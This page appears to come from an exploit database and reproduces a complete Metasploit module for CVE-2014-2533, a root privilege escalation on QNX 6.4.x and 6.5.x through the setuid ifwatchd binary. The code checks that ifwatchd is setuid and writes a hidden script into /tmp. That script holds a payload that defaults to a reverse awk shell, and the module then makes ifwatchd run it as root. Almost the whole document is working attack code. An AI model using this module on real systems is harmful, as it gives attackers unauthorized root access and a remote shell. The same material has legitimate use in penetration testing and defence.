Ifwatchd privilege escalation (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-10-09 | Type : local | Platform : linux

---

[+] Code ...

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'ifwatchd Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on QNX 6.4.x and 6.5.x
systems by exploiting the ifwatchd suid executable.

ifwatchd allows users to specify scripts to execute using the '-A'
command line argument; however, it does not drop privileges when
executing user-supplied scripts, resulting in execution of arbitrary
commands as root.

This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
and 6.5.0 SP1 (x86).
},
'License' => MSF_LICENSE,
'Author' =>
[
'cenobyte', # Discovery and exploit
'Tim Brown', # Independent discovery
'Brendan Coles' # Metasploit
],
'References' =>
[
['CVE', '2014-2533'],
['BID', '66449'],
['EDB', '32153'],
['URL', 'http://seclists.org/bugtraq/2014/Mar/66']
],
'DisclosureDate' => 'Mar 10 2014',
'Platform' => 'unix', # QNX
'Arch' => ARCH_CMD,
'SessionTypes' => %w(shell meterpreter),
'Targets' => [['Automatic', {}]],
'Privileged' => true,
'Payload' =>
{
'BadChars' => '',
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'gawk generic'
}
},
'DefaultOptions' =>
{
'WfsDelay' => 10,
'PAYLOAD' => 'cmd/unix/reverse_awk'
}
))
register_advanced_options [
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def ifwatchd_path
'/sbin/ifwatchd'
end

def base_dir
datastore['WritableDir']
end

def check
unless setuid? ifwatchd_path
vprint_error "#{ifwatchd_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{ifwatchd_path} is setuid"

CheckCode::Detected
end

def exploit
unless check == CheckCode::Detected
fail_with Failure::NotVulnerable, 'Target not vulnerable'
end

if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

script_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"

print_status 'Writing interface arrival event script...'
cmd_exec "echo '#!/bin/sh' > #{script_path}"
cmd_exec "echo 'PATH=/bin:/usr/bin' >> #{script_path}"
cmd_exec "echo 'IFWPID=$(ps -edaf | grep \"#{script_path}\" | awk \"!/grep/ { print $2 }\")' >> #{script_path}"
exp = payload.encoded.gsub('"', '\"').gsub('$', '\$')
cmd_exec "echo \"#{exp}\" >> #{script_path}"
cmd_exec "echo 'kill -9 $IFWPID' >> #{script_path}"
register_file_for_cleanup script_path

cmd_exec "chmod +x '#{script_path}'"

print_status "Executing #{ifwatchd_path}..."
interface = 'lo0'
cmd_exec "#{ifwatchd_path} -A '#{script_path}' -v #{interface} >/dev/null & echo "
end
end